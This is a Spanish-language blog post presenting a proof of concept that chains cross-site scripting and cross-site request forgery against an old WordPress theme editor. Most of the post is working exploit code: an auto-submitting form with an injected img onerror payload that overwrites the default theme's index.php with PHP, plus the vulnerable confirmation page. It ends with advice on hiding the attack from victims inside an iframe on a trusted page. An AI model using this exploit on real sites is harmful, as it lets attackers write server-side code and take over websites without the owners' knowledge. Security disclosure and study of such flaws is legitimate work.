WordPress, XSS y CSRF – Final

Puesto que el anterior quiz ya fue resuelto, pongo la prueba de concepto que permite sobreescribir cualquier archivo del tema que esté usando una determinada instalación de WordPress (el que viene por defecto para este ejemplo), esto funcionará siempre y cuando el usuario actual tenga los permisos suficientes como para modificar los archivos del tema.

html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>WordPress XSS PoC</title>
</head>
<body id="main">

        <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
                <p>
                        <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
                </p>
                <p>
                        <input type="hidden" name="action" value="update" />
                        <input type="hidden" name="file" value="wp-content/themes/default/index.php" />  
                </p>
        </form> 
        <script type="text/javascript">
        // <![CDATA[
                document.forms[0].submit();
        // ]]>

        </script>
</body>
</html>

El código que genera una versión vulnerable de WordPress para la prueba de concepto es el siguiente:

html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
        <title>WordPress Confirmation</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="stylesheet" href="install.css" type="text/css" />
</head>
<body>
        <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
        <p>     <form method='post' action='theme-editor.php'><image src=a onerror=javascript:document.forms[0].submit()><a'.php'>

                <input type='hidden' name='action' value='update' />
                <input type='hidden' name='newcontent' value='<?php echo "owned! " . date('F j, y'); ?>' />
                <input type='hidden' name='file' value='wp-content/themes/default/index.php' />
                <input type='hidden' name='do' value='Do!' />
                <input type='hidden' name='_wpnonce' value='1d0bfa4c4e' />
                <div id='message' class='confirm fade'>
                <p>Are you sure you want to edit this theme file: "wp-content/themes/default/index.phpWordPress Default"?</p>

                <p><a href='http://localhost/wordpress/wp-admin'>No</a> <input type='submit' value='Yes' /></p>
                </div>
        </form>
</body>
</html></p>
</body>
</html>

La parte más interesante de la prueba de concepto, es que se hace uso de una etiqueta HTML que no necesita cierre y que además permite tener un pequeño tiempo de gracia para que cargue la página y se envíen todos los campos del formulario, es por este motivo que el código javascript se ubica en el evento onerror (soportado por la mayoría de navegadores) de la etiqueta IMG.

Para aprovechar esta vulnerabilidad sin que la víctima se de cuenta, podemos hacer uso de CSRF, esto es cargar el código mostrado desde un iframe e incitar al usuario afectado para que visite una página confiable que contenga el elemento mencionado.

One Reply to “WordPress, XSS y CSRF – Final”

Comments are closed.